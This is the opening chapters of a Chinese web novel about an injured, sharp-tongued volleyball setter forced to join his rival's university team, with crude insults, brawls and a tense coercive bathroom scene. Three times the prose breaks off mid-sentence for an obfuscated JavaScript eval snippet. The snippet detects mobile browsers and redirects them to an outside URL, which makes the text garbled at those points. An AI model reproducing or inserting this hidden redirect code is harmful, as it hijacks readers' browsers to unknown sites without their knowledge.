《我家二传,以打服人[竞技]》 1. 陨落的二传 首都体育大学,东校门。 这是林见鹿第2次来。 第1次来是8月初,一切尘埃落定,再无改变的可能。林见鹿一个人来看未来大学,顺着东食街一路小吃店走过去,印象是脏乱差。等到他进入校园,和一个男生擦肩而过,只记得那个人是长头发,有一双很隆重的眼睛。 林见鹿不认识路,也不认识他,原本可以问问,但心情实在差劲,便一个人走走停停。 第2次,就是今天。 因为养伤的缘故,学校特批他不用参加今年军训,所以今天就是他的报到日。他斜跨着用了许久的运动包,穿着的衣服还是高中时期的队服,藏蓝色铺满胸口、双肩和两臂,胸口有一个肩头状的分界线,分界线往下是雪白。 别人的高三校服写满同学的名字,他的校服上一个字都没有。 藏蓝色的运动短裤掩盖着他的伤势,一眼看去,所有人都会率先注意到林见鹿远超同龄人的腿长。 同样是藏蓝色的运动包,包外侧和校服都有他高中队伍的名字——北京市汇宸私立中学。 之所以拖到开学两天后他才来,无非是林见鹿不愿意面对这个残忍的事实。他既没有考上理想中的大学,也没有进入理想中的排球队,更是和国家队的选拔失之交臂。 别的高三生从3、4月份就开始看大学,生怕选错。但凡能亲自看一眼校园环境都尽量走一趟,提前感受大学氛围。可首体大从一开始就不在林见鹿的待选名单里。 更别说学校那支排球队,林见鹿只是简单地扫过一眼主攻手、副攻手、接应和自由人的名字,就大概猜出了这一支队伍的底色。简直和他之前的高中队毫无可比性,一帮没有大脑的东西。 林见鹿在汇宸排球队打了6年,初中、高中都是队伍里的二传手,在他心目中那支队伍才叫真正的打排球,无论是默契度还是技术性都算得上首屈一指,其中还有两名队员进入了国家队的选拔。 首体大这支队伍,简直就是一群傻缺。 而且林见鹿曾经在排球联赛上带队打赢过这支队伍里的大部分人。曾经不可一世、眼高于顶的他在赛后采访说过,不怕聪明人犯错,就怕蠢人努力。 说的就是这帮人,不管是哪个位置的队员,都是林见鹿看不入眼的类型。特别是他们队长厉桀,别的队员是傻缺,厉桀就是那个傻逼。 更别说首体大排球队的教练纪高,曾经放话预言过林见鹿打不过16岁。 但是,林见鹿还是低下头来了。 原因无他,因为没有队伍要他。 在正式踏入东校门之前,林见鹿又看了一眼自己的双腿。脚上是一双打专业比赛的排球鞋,主打透气、耐磨、减震、防滑。左腿膝盖套着一只黑色的硬质护腿。 这是一般打对抗才用得上的护腿,两侧是钢板,防止膝盖左右撇动。在它过于厚的保护下,基本上看不出膝盖的突起线条。右大腿是一条白色高筒袜,从脚踝裹紧,一路裹到大腿根部,尽头藏在短裤的内部。 尽管裹成这样,在林见鹿迈腿的时候,仍旧能感觉到左腿的吃力和右大腿根的撕裂。 拥有着“天赋二传手”名号的他,已经彻底废在了两条腿上。不止是腿,右手的白色半掌手套默默宣告着他手指的半残,林见鹿从一个炙手可热的二传手到无人问津,不光是因为他曾经口无遮拦,也因为他失去了“价值”。 天才陨落,跌落尘埃。林见鹿像一个废品,全身都被打碎了,拼拼凑凑才勉强恢复了人形。如今摸着已经微微变形的右尾指,走投无路的他怎么也想不到,最后愿意收留他的队伍居然就是这一支。 他最敌视的一支队伍,像接纳无能的战俘,等着他入队嘲讽。 可这是林见鹿最后的机会,也是他留给自己的最后退路。今年要是还没有起色、养不好伤,林见鹿会考虑父母的建议,彻底离开他挚爱的排球场。那些传球的瞬间他只当是做了一场青春无果的苦梦,从此之后,他再也不会碰球。 “诶,你瞧,那人好高啊……” “这就算高了?拜托,你可是在首体大,比他高的可太多了。” “是排球队的吧?快有两米了呢。只是怎么还穿着高中校服?” 走过篮球场时,林见鹿听到有几个男生在谈论他,谈论得非常光明正大,没有掖着藏着的意思。其实首体大的排球队服他拿到了,只是他发自内心不愿意穿。 队服对他们打球的人来说,那就是家的象征。是归属,是落脚点,是安全屋,也是大后方。 因为已经来过一次了,所以林见鹿知道体院排球队的办公室在哪里,就在排球馆A馆的东侧。整个东校区都是体院的活动区域,坐落着不少场馆,走过排球馆时林见鹿听出了久违又熟悉的发球声。 手指蠢蠢欲动,他怀念表面干涩的球体,怀念胶质的地面。可一想到今后要和一群傻逼一起打球,林见鹿就忍不住想拿一条绳子把自己勒死。 队友就是家人,他真不想有那么一群家人。 林见鹿继续往前走,十几米之后看到了办公楼。一层全部是器材室,从二层开始办公,他从轮椅斜坡走入大门,这是头一次进来,一时间站在阴凉的楼梯口发愣。 那一节节的台阶,在他面前像天堑一样,朝他张牙舞爪,耀武扬威。 密密匝匝的刺痛在肌肉里汇聚,林见鹿擦了擦鼻尖的汗,本来心情就烦躁,现在恨不得把整栋楼都掀飞。距离规定的报到时间还差6分钟,林见鹿朝着另外一个拐角处走去。 2层办公室里坐着一个人,大一男排队的教练纪高。 虽然身为教练,但他的外形和大多数教练不太一样。没有标配运动夹克,没有黄铜色的哨子,更没有保温杯里泡胖大海,纪高是个很瘦高的人,习惯穿白衬衫,头发打理得一丝不苟,鼻子上架着无边镜框。 说他是搞金融的,都有人信。 现在他和别人打着电话,有着强迫症的他面前码好了10张学生资料卡,离他最近的就是林见鹿。 “对,他上我们队了。”纪高冷冷地回复,“有意见吗?” “意见倒是没有,就是那孩子结仇太多,脾气不好控制。”电话里说。 纪高下意识地看向那张小方块一样的证件照,清冷高瘦,苍白无色,一双标准的厌世眼,仿佛全世界都欠他。“他可不止脾气不好一个缺点……” “你知道就好。”那边颇为惋惜,“否则怎么可能落得这个下场。” 纪高安安静静地推了下眼镜,林见鹿落到无人收留的下场,往前几年不会有人相信。这是从小就展露出绝佳排球天赋的孩子,天生有球感,排球在他手里就像忠犬,会听他的话。 他小时候,是所有排球教练都等着长大的那颗新星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171828|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这种状况一直持续到他16岁,戛然而止,变成了一本烂尾小说。 年少成名的林见鹿不止是脾气不好,嘴也不好,基本上他打过的每支队伍都没逃过他的毒舌。只不过在成绩为王的竞技圈里他有护身符,他的坏脾气反而成为了标识。 但是,一旦成绩消失,那等待他的就会是几十倍、几百倍的反噬。林见鹿的腿伤纯属意外,据纪高了解,他的高中球队已经放弃他两年,不止扒了他的首发,还坐了两年的冷板凳。 从巅峰到低谷,成也双腿,败也双腿。 只不过纪高怎么都没想到,林见鹿那么一个嚣张骄傲、盛气凌人的人,会卑微又紧张地问他,首体大缺不缺二传手。 如果缺,他可以补上。 “他真的不行了,两年了还没养好伤,也没打过大比赛。不管是体能还是心气早就磨没了,现在的林见鹿就是一个空壳。你们首体大是有多大的能耐,能让他起死回生啊?”手机里问。 “你说的这些我怎么会不知道,但你也应该听过那句话吧。”纪高喝了一口冰美式,“一鹿落,万物生。” 手机里面有笑声:“咱们都这么大了,别和那些孩子一样中二。” “这确实是那些孩子的话,听着也确实中二。但你想想,这是不是事实?林见鹿受伤前把同年龄阶段的二传手压得死不死?除了他,提起二传还有别人吗?何止是同年龄,他14岁就已经1米89了,连16岁到18岁这个阶段都被他制霸。”纪高点了点林见鹿的证件照。 高三证件照里的林见鹿像要杀了所有人。 “这倒是。”电话里承认。 “他没受伤,那些二传手一个都没打出名气,他受伤之后,才打出了其余的二传。把他招入队里确实风险很大,但如果他能养好,我们这支队伍就活了。”纪高将资料卡一张张看过去,他们队里,就差一个二传手。 而这个传奇二传能不能是林见鹿,纪高目前也说不准。一方面是林见鹿能否恢复身体机能,另一方面,全队都和他有过节! 可纪高实在太馋这个二传,林见鹿在巅峰时期的机能太过出众。打个比方,同龄人都是车,有奔驰,有奥迪,有F1方程式,各有优点,而他,不是车。 林见鹿是发动机,不管是跑位还是传球,他的理解高了不止一个层面。 “好了,他来了,我先和他聊聊。”纪高听到了敲门声,是时候见见他了。 通话结束,纪高整了整衬衫领口,对着门的方向喊:“请进。” 一声巨响,差点震裂了窗。 门被人咣当踹开,一个极高的男生拎着一兜崭新排球,身穿首体大红白相间的排球背心,力大势沉地进来了。因为太高,他整个人像被无限拉长,肌肉往上延伸,走到哪儿都是震慑的体型。 “30颗,米卡萨V200,愿赌服输,给你。”厉桀把将近3万块的一兜球放在教练桌上,像放一张纸那么轻松。 “怎么是你?”纪高看了一眼手表,林见鹿已经迟到一刻钟了,“看见林见鹿了吗?” “看见了,在1楼鬼打墙呢,傻子似的。”厉桀坐上了教练的办公桌,206的身高像普通人坐小马扎。 隆起的遒劲背肌像打不穿的山脉。 紧跟着,厉桀冷笑地自问自答:“老纪,你把他招入队,是想让我们9个,轮流把他打死么?” 2. 跪着进去 厉桀是标准的主攻手,光是站在那里,就有一股逼天拽地的破坏力。 身高206,扣球动静像海啸也像坍塌,声音像开枪。他单眼皮,高山根,看人的时候永远做不到规规矩矩。头发粗硬的他还弄了个美式前刺,也是全队最强壮的体格。 纪高早早就关注他了,在厉桀14岁时就知道他是吃主攻手这碗饭的人。 二传手靠培养,主攻手则是另外一条路子,在身体机能方面要看是不是天注定。身高、打击力度、速度上不去,这辈子都没梦可做。主攻手的好苗子一般在青春发育期就能成型,他们不像二传手,二传能不能培养出来,更像开盲盒,有后期精心养育的因素。 主攻更直接,一眼,身体硬件行就是行,不行就是不行! “这就是你的不对了,现在你是队长,你应该带头接纳林见鹿,而不是排斥他。”纪高给他下命令。 厉桀精悍的肌肉一览无余,还不是为了好看练出来的花架子,坚实得可怕。“我排斥他?老纪你好好回忆回忆,队里9个人,谁他妈没被他骂过?” “不许骂人。”纪高冷酷地说。 “谁tmd的没被他骂过?”厉桀换成了说英文。 这倒是。纪高最担心的就是这一点,放林见鹿进来,就像放一头鹿进了狼人杀。 “况且,兄弟们能忍得住,你能保证那头鹿对我们温柔善良?别逗了,不可能。江山易改本性难移,你别看他现在蔫儿,没人待见他是他自己作大死。”厉桀身为林见鹿资深受害者,一笔账一笔账,可记得清清楚楚。 其实要论交情,他俩特小的时候就认识。 厉桀的妈和林见鹿的妈是大学同学,虽然两人生活交集不多,但感情挺好。她俩又是差不多时间结婚,给彼此当过伴娘。 结果林见鹿那小子还是个胎儿的时候就贼,8个月出生的早产儿,一下子比厉桀大了8个月。后来他跟着爸妈工作调动去了青岛,4岁才回来,厉桀第一次见林见鹿的时候,把他认成了小姑娘。 真漂亮。厉桀从小就爱看漂亮小妹妹,那感觉,就像一下子看到了心选妹。 当天晚上林见鹿和妈妈一起留宿,他妈和自己妈睡一屋,进行闺蜜谈话,厉桀偷了自己妈的5克拉钻戒,摸黑爬林见鹿床上去了,想也不想就套在他手指上。 林见鹿小时候真漂亮,就是太贼了。 戒指收了,也答应长大结婚了,然后他才告诉厉桀,他也长了小鸡鸡。 厉桀傻眼,要扒开他的小裤衩检查。林见鹿的腿从小就又细又长又直又白,还带着婴儿面霜那股甜甜的香,先把他踹下床,紧跟着就把他打哭了。 长大之后俩人在球场碰见,都把对方往死里打。 “反正你是队长,你必须起带头作用。”纪高先给厉桀把思想工作做了,“他融入不好,我唯你是问。” “那你问吧,现在就问。”厉桀也不怕。而且打心眼里厉桀就觉得这是个不可能完成的任务,以他对那头鹿的了解,全队其他成员在林见鹿眼里都是傻缺,自己是傻逼。 “你……”纪高一愣,忽然手机收到教练组的信息要他送名单过去,“你别给我惹事,先把林见鹿留下再说。” “呵。”厉桀敷衍地回应。 纪高匆匆拿起一沓子花名册,临走的时候又看了看手表,这林见鹿是真不守时,以后慢慢再纠正他的坏习惯吧。关上办公室的门,穿着皮鞋的金融男装扮教练奔向了楼梯,而就在他背影消失的一刹那,走廊远端的货梯,门开了。 货梯的空间很大,全是运桌椅的。在叠成山的座椅当中,林见鹿特别好认。他赶在电梯门关上之前迈出来,先扶住了墙,像被猎人逼到走投无路的野鹿,形单影只又筋疲尽力。 谁能想到教练楼的货梯需要等这么久,而他又实在不想爬楼梯。 应该已经迟到了。林见鹿擦了一把汗,这几年他的目光总是下意识垂向地面,别人说他厌世眼,其实他是厌人。 多不可思议的现象,在一项最需要团队合作的竞技项目里,他作为和队友配合最密切的位置,他居然厌人了。 能不用眼神接触就不用,能不说话就不开口,林见鹿多希望每个人都变成排球。然而眼前的这条路又是他最后期望,林见鹿不得不死死拽住这根救命稻草,在心里反复演练如何和纪高沟通。 对不起,我刚才去等货梯了,所以才迟到。 林见鹿站在办公室的门口,在正式敲门之前把这句话反复默念。护膝和高筒袜里面还有一层绷带,他也不确定伤口这时候有没有开裂,唯一确定的,就是这是唯一一支要他的队伍。 要和教练好好说话,林见鹿提醒了自己四五次,抬起的右手终于靠近门板,准备敲响它。 而门被快速拉开了,所产生的风毫无征兆地扑到林见鹿的脸上,掀动起他的眼睫毛。 眼前的人背光,林见鹿没有第一时间看清楚,只能看到一个比他还高的轮廓。他已经不矮了,198的身高打二传,看队友基本都是平视和俯视,反而不习惯抬头看别人。 他也不喜欢抬头看,让他仰视就跟杀了他的自尊似的,那么不自在。 等到瞳孔适应了光线,林见鹿彻底不自在起来。办公室里没有等待他的教练,反而是他的宿敌,还是从小就坐实了宿敌身份的人。 “呦,这不是‘高速公鹿’么?”厉桀却在第一眼就认出了他,俯视他的时候,特别过瘾。 上一次见面,林见鹿刚刚受伤,还能上场。他俩动手打架已经成了基本流程,这小子可是薅着自己头发往死里揍呢。厉桀那天吃了亏,还想着下次比赛见面再打回来。 结果,林见鹿就再没上过首发,每次比赛都坐冷板凳。 怎么会是他?林见鹿的眼睫毛还在抖,是那种不甘心的抖。他的毛发不像厉桀那么粗硬,相反,眼睫毛特别纤长,每一根都只有别人二分之一粗。眼角的比较短,越往后就跟开挂一样,一路加长。 到了眼型的最后,长度甚至有眼角睫毛的翻倍长,轻飘飘地压着眼尾。所以不管看谁,林见鹿的眼神都非常飘,总让人误以为压着一抹轻蔑。 当然,有时候也不是误以为,他就是看不起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171829|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可现在他多希望厉桀消失。他像个举目无亲、投奔而来的丧家犬,到了死对头的地盘上,明明穿着衣服,却仿佛全身都被扒光了,毫无遮挡,只有羞辱。 厉桀只是往下一瞄,从两米的高度看向他那双被誉为“鹿腿”的名腿,和小时候一模一样,又细又白又直又长,就是护膝和绷带碍眼。 所以他明知故问,就是带着羞辱的意味,像反复拿捏折磨一个俘虏,把曾经高高在上的林见鹿拉下来,看看他到底多么不可亵玩:“鹿蹄子怎么受伤了?还没好呢?” 林见鹿过长的眼尾睫毛毫无征兆地抖了一下。 等到睫毛的颤动停止,林见鹿朝厉桀伸出了右手。半掌手套裹不住他的掌心,只能遮住二分之一手心。 厉桀忽然间特想把自己的手指插进他的半掌手套里搅和搅和。林见鹿是领地意识很强的人,无孔不入地侵入他任何角落,他脸上逞强的表情就会很精彩。 “傻逼。”紧跟着林见鹿朝他伸出了一根中指。 厉桀反而没生气,而是更加确定林见鹿没本事了。他但凡还能打,绝对已经把巴掌招呼到自己脸上。只不过他的手指也是又细又白又长又直那种,就算冷冷地比了个中指,也没什么杀伤性。 手挺好看的,但长得林见鹿身上也就一般吧。 “别和我竖中指,你在我队里,我有一百种玩儿死你的方法。”厉桀又想起当年他的毒舌评价,那么清冷孤傲的一个人,居然也有今天? 以前他看得起谁?现在风水轮流转,谁又看得起他?这已经不是能随意拎着别人打的进攻二传,厉桀伸手把他竖起的那根中指压下去,他的眼睫毛和林见鹿完全两个极端,又浓密又厚,低头时盖住半拉眼睛,看不清情绪。 “林见鹿,这个手势是fuck you,你现在有本事操.谁啊?”厉桀觉得自己还有些人性,只是把他的手压下去。 林见鹿感受到的是……厉桀粗硬手指的绝对统治力,一个很合格的主攻手,每一根手指都能力挽狂澜,只是这样轻轻一碰,就带出了无穷无尽的压迫。 而他自己的手指…… “离我远点,我是来找纪高的。”林见鹿很快调整好情绪。 “教练不在,你进去等着吧。”厉桀居然给他让开了一条道。 他太强壮,虽然林见鹿不是单薄的体型,然而骨架比他整整小了两圈。再加上这半年的高考、体测、换队申请,林见鹿仿佛将最后的肌肉储备量耗尽,侧影只有厉桀二分之一薄厚。 厉桀的皮肤透出阳光晒过的健康古铜色,林见鹿手腕上是一串接一串的青色血管。 擦肩而过时,林见鹿甚至怀疑他的大臂围度有自己大腿的围度。他什么时候长成这样了?就是这两年吗?他不是比自己还小8个月吗? 林见鹿朝着办公室迈了一步,尽管如此他仍旧高昂着头,下巴和喉结的投影像山丘般尖锐,绝不肯低人一等。 就在他准备迈下一步的时候,身后响起了抬腿的动静。 “让你走着进去了么?”厉桀在林见鹿左腿的膝窝里蹬了一下,“跪着进去。” 3. stupid鹿 明明踹的是左腿,可林见鹿右腿也疼。 眼前的窗口在林见鹿视线范围内一抬,林见鹿的水平视觉往办公桌的水平线贴近。曾经这双腿多么傲慢,现在林见鹿听到耳边“咚”一声。 左腿护膝和地面亲密接触,磕得一声闷响,厉桀平时对自己的力道掐得奇准,这回倒是栽了道。他不是圣人,以前被林见鹿揍了那么多次,这次就是想杀杀他的威风。 但是他没想到林见鹿真这么“眼疾手快”跪下了!碰瓷吧! 林见鹿皱着眉,跪得异常刺眼。后背微显弯曲然而脊椎骨像一把剑,哪怕是一个佝偻的跪姿,这把名为骨节的剑还撑得他不肯低头。他的起身也是迅疾的,像在排球场跑位,闪到了厉桀的面前,拳风压着厉桀的眉眼径直而来! 动作好快!这样的架势厉桀已经不是第一次见到。 但是厉桀居然能闪得开,并不是因为他多么善于闪避,而是他擅于预测林见鹿的发疯轨迹。他们打了太多次,拳头砸在对方身上都有脆响,他一早就知道林见鹿从来不是吃亏的主儿,只要还有一口气在,只要这口气不灭,他就会反击。 自尊心一分不矮啊。厉桀和此等邪修打多了,本事也是明显渐长。 劈来的第二拳砸在厉桀的肩头,实际上谁也说不出这到底是谁打谁。力的作用都是相互的,厉桀那傲人的骨密度也不是随便谁都打得动。林见鹿恨得双目血红,恨得牙齿咬出血,几乎要吐出一口血沫,已经感受不到拳头的疼,只想给厉桀咬下一块肉来! 又一拳砸在厉桀的下巴上,哪怕砸得有点歪。林见鹿听到他们骨骼碰撞的声音才肯罢休,眼神冒着阴冷和湿寒,活像一个死人。他想给厉桀的脑袋砸一个对穿,想要自己身上都是他流血的铁锈味儿。 刚刚那一脚踹倒的何止是他的身躯,还有他这几年积累下来所剩无几的骄傲。 他想要厉桀死,死了算了。 等到纪高折返的时候,眼前已经不像两个学生在打架,倒像是两头巨兽在斗殴。 “别打了!住手!都给我住手!”纪高身高190,但是在他们面前还是矮,206和198打起来,整个办公室都要震三震。而他光是扫了一眼战况,就知道这一场纠纷里占上风的人实际上是林见鹿。 百闻不如一见,哪怕两条腿都快断了,林见鹿还是那个宁愿以自损完成不可逆手段也要达成目标的狠人。 “都给我住手!”最后还是纪高拼命阻挡才分开他俩,一屋子的排球散落各地,他们像滚在球海里。几万的球就是他们的斗兽场,非要一死一伤才罢休。 林见鹿根本刹不住,别说是纪高,现在就是校长来了他也豁得出去。直到他砸向厉桀的一拳因为纪高的拉扯改变了路线,严严实实砸在了教练的鼻梁骨上,林见鹿才猛然一惊,如大梦初醒。 他一醒,厉桀也醒了。 刚刚他揪住的是林见鹿的领口,厉桀特别讨厌林见鹿的高中,所以看见那身校服就烦。拉扯中林见鹿的T恤领口都被他撕开了,直接扯到胸口,露出大面积皮肤来。 现在厉桀慌忙扶稳了教练:“老纪?老纪!还能活么?” 来不及擦掉嘴角的鲜血,厉桀起身对林见鹿怒吼:“你长没长眼!” “我他妈打的是你!”林见鹿不由自主往前,乱了的刘海儿扫过睫毛,汗水在额头凝结。 “你……”厉桀又要迎战,鼻子流血的纪高猝不及防将双臂伸直,一左,一右,用尽全力将两人推开了。 斗殴当事人中间的距离终于抵达了两米,纪高早就忘记鼻梁酸疼的感觉。从前他打球时被对手大力扣杀,排球直接砸到面中间,都没有这一拳来得“酸爽”。 “够了!”鼻子出血但力气还在,纪高站在他俩中间,“别让我说第二遍!” 办公室外已经聚集了一些人,大部分都是路过的学生。这个节骨眼上纪高肯定要偏袒自己人,捂着鼻子先把门踹上了,谁也别看。 再回桌上找纸巾,鲜红的血滴在雪白的纸上,他偏头看向两个闯祸的学生,气都顺不过来:“真没想到……我都干到这把年龄了,还得给两个大学生劝架!” 厉桀偏过头,讥讽似的冷笑一下。 林见鹿低着头,藏着半截下巴。除了拳头破皮,他脸上可是一点伤都没有。 “这是第一次,也是最后一次!再有一次队内处分!你俩谁也别打球!都给我禁赛!” 这就是最重的处罚了,纪高的鼻梁骨已经开始发胀,很快就会高高肿起。刚才他一下楼就后悔了,万一林见鹿和厉桀不对付,在办公室吵起来怎么办?所以立即回来。 他能想到的最差结果只是吵架,结果预测失败,俩人滚在球海里,打得不知天地为何物! 厉桀乌沉沉的眼珠显然写满了不服,这才擦了擦嘴角:“禁赛就太过了吧……” 禁赛是最严重的处罚,一般都是运动员犯了致命大错才用上。反正厉桀没听说过谁家运动员打个架就禁赛。 纪高却不是闹着玩:“太过?你俩再动手试试,你看我敢不敢!” 鼻子流出的血止不住,可纪高却更担心另外一件大事,那就是林见鹿和队内的矛盾似乎无法和解了。不用问,他和全队之间肯定是有仇的,偏见就是盖在他脸上的沉疴,刻板印象已经形成。 “林见鹿,刚刚到底怎么回事?”但身为教练,纪高不能只把人招进来就不管。 林见鹿削尖的脸有半张都在阴影里,低头拽他的半掌手套,一字不说。 “说说,刚才到底怎么回事?”纪高再问。 他也看向手套,不记得林见鹿除了双腿还伤了手。但是看着他如此小心地呵护手指,纪高脑海里嗡一声,响起了警戒声。 自己不会被这小子给蒙了吧?他在通话里可没说手也有伤啊?要是他敢说手指有伤,纪高就会对他的入队申请重新评估。现在看这小子闭眼装瞎,纪高完全笃定林见鹿就是撒谎了。 他手有问题。 “手怎么了?”纪高只能问。人都招进来了,现在他也没辙。 林见鹿只是拽了拽被撕开的校服:“衣服500块钱,他得赔我。” “500?你穷疯了!我哪儿知道你那么容易就跪!腿伤没好你就说,装什么坚韧不拔的stupid鹿设?当自己是清高笨小鹿么?”厉桀立即反击,他从小就不缺钱,但不可能做冤大头。 “还stupid?有本事你说‘鹿’的英文?”林见鹿考他。 厉桀愤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171830|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又嚣张地瞪着他。 “不会说了吧?呵,你不会以为‘鹿’的英文是瑞幸吧?”林见鹿将领口拉紧,冷漠中流露出一丝不属于他本人的仓皇,“就500,不然你就跪下认错。” 跪下后的尖锐、动手时的凌厉、见血后的疯狂,这都应该是林见鹿身上与生俱来的特质,唯独这一抹仓皇不是。也就是这一抹仓皇被厉桀捕捉,仗着8厘米的身高差,厉桀的视线随着他的手而动,滑过了林见鹿遮挡的胸膛。 好像……有点不一样。 但是又没看出哪里不一样。 这个念头从厉桀脑海中闪过,也就忘了:“一件破校服就想让我跪下,是你穷疯了还是我气疯了?” “英文‘鹿’怎么说?”林见鹿继续四两拨千斤。 “够了!”纪高气火攻心,闭了闭眼睛,“谁再多说一句,禁赛3个月!” 连禁赛时间都搬了出来,可见纪高没开玩笑。俩人也同时间闭嘴,显然再吵下去是两败俱伤。纪高沉默地将视线移向林见鹿的腿:“先去校医楼看看,让队医给我打份报告。你的行李呢?用不用我找人帮你搬?” 打成这个程度,肯定没法让厉桀帮他去扛行李。纪高决定自己动手:“是不是在校门口?我帮你。” “不……不用。”林见鹿忽然间撂下一句,急急忙忙又匪夷所思地跑掉,仿佛刚才没有任何事情发生,发生了他也不计较。 等他离开,纪高看向队里的闹事王,一脚踹了过去。“看着干嘛?还不追过去帮忙?” 这一脚用足全力,然而厉桀居然没有被踹动,好好地站在原地。他和纪高认识多年,一直都是能闹事但是也扛事,但林见鹿的事,他发自内心,一点都不想管。 林见鹿在2层转了个大圈,原本想等货梯,但显然有什么事情等不了了。他拔腿跑进2层的男洗手间,撤退一样撤进了隔间,右腿有熟悉又陌生的感觉。 他撩起宽松短裤的下摆,右腿的大腿根部,白色的高筒袜最上沿已经被鲜血染红。 还好运动裤是深色,不然他就要当着厉桀丢最大的脸。林见鹿非常熟练地翻起包来,找出消毒纸巾,慢慢将湿润的纸巾贴向伤口。 “啊……”疼得他忍不住叫了一下。 太疼了,除了疼,还有难言之隐的羞耻感。林见鹿忍着疼把染红的湿纸巾抽出来,快速扔进垃圾箱,又拿出一张新的,垫在了大腿根里面。 他也摸不透为什么这道撕裂伤就是不好,伤口就是不肯愈合。这么私人的地方,林见鹿也不好到处去问,更不可能告诉队医。拖来拖去,居然又裂开了。 重新垫好之后,林见鹿缓了缓急促的心跳,准备出去。没关系,只要能把伤养好,他还是二传手,谁也拿不走他的荣耀。 没想到隔间的门一开,林见鹿没走出去,还让一具高大的身体推了回来,力道之大,是现在的林见鹿完全无法抗衡的。 “刚才打我打爽了么?”厉桀把林见鹿推了回去,仅仅用了一只手。 林见鹿连续退了两步,冷漠地笑了笑:“爽死了。傻逼给我滚!” “打人这么爽?”厉桀反手将隔间锁死,一只手捏住林见鹿的锁骨,“stupid luckin,现在轮到我爽。” 4. 四处为敌 光线的原因,林见鹿的皮肤出现了一种微妙的白。 厉桀从未在别的人身上见过这种白,最起码他的队友身上没有。他太细腻了,捏住他冰冷的手腕像捏住了瓷器,瓷白色的,覆了一层汗水。 尽管这种形容方式过于夸张,但有那么几秒钟,厉桀走神了,他觉得林见鹿是半透明的颜色。 只需要他轻轻一捏,这半透明的瓷器就会出现不可挽回的裂痕。但就是这种奇异的脆弱性在厉桀眼中和心底扎根,缓缓冒出一个更加恶劣的念头——自己到底能不能把他捏碎? “你想干什么!”林见鹿也没有客气,右手攥成拳,抵在厉桀胸口上。白色手套薄薄地盖住他的拳峰,紧紧勾勒出他手指的轮廓,露出来的下半掌因为太过用力而绷得发白。 相比之下他的腕口明显不占优势,凸起的腕骨毫无保留地落入厉桀滚烫的掌中。 林见鹿从小慕强,竞体人都向往强者。哪怕他此刻再讨厌厉桀,恨不得抽出一只手在他那张嚣张的俊脸上狠狠砸一拳,将他高隆的眉骨砸成平地,也不得不震撼于他的强壮。 光是这样轻轻一扯,林见鹿就已经有些重心不稳。排球鞋往后错了错,他的手刚要往后抽,而厉桀只是用两根手指就将他扼住。 好有力气的手指。林见鹿许久不和厉桀碰上,主攻手不止是力大飞砖钉地板,其实手指上的功夫非常细,每一条肌肉都可以操控排球。 “不干什么,你以为我真想把你打死?”厉桀轻而易举地捏住他,“不过你这脾气倒是一点没变……” “呵,打你就是顺手的事,还需要什么脾气吗?”林见鹿昂起下巴,“松手,给我滚!” 厉桀轻轻一笑,目光沉沉地盯着林见鹿。 林见鹿忽然产生了呼吸困难的错觉,他不知道厉桀什么时候长这么高,同样,他也不懂厉桀什么时候拥有了这番隐而不发的力量,仿佛身前、身后的压强陡然增加了几百倍,挤压着他的肺叶。 “你胸口怎么了?”厉桀懒得偷窥,光明正大地看。 刚刚打架的时候林见鹿就不太正常,厉桀猜测他胸口藏着什么,或许是纹身?但现在已经非常清楚了,白瓷一样平坦的胸口干干净净,别说是纹身,连一颗痣都没有。 同样,他也提前预估了林见鹿的挣扎,侵略性地偏了偏身子,将他往自己这边拉了拉。 林见鹿的瞳孔仿佛被厉桀的影子撑开,完全变成了厉桀这个人的形状。他略带惊恐的目光从厉桀脸上扫过,硬着头皮将撕裂的T恤往胸口拽,盖住了雪白的锁骨。 “林见鹿啊,林见鹿,你这算什么?发育畸形?”厉桀和他对视。 “那也比不上你畸形的大脑。”林见鹿冷淡回应,手臂再往胸口收拢。 “你的胸为什么和别人不一样?”厉桀问,目光堪比他们训练之后的筋膜刀,缓缓地,凌迟一般,刮过林见鹿身上的每一寸肌肤。别人都是凸起来的点点,林见鹿偏偏是凹进去的。 像两个小水坑,可以盛点什么。该在外面的那一块肉偏偏缩在里面,不肯见人。 厉桀手痒痒,特别想试试能不能挤出来。 “有什么不一样的?男人胸肌不都是这样,我有的你也有,难道我有胯.下二两肉,你没有吗?”林见鹿也是一把刁难人的嘴,尽管身处下风仍旧不肯饶人。 然而厉桀早已习惯,若有所思地靠近,在林见鹿的耳边说:“你胯.下要是二两肉,我就是四两。” “呵,真敢吹牛,改天见识见识?长这么高的傻大个儿,别是个银样镴枪头吧。”林见鹿冰冷地盯着他,嗖一下,将勉强能动的右手从他的掌控中脱出,并且朝着厉桀伸了过去。 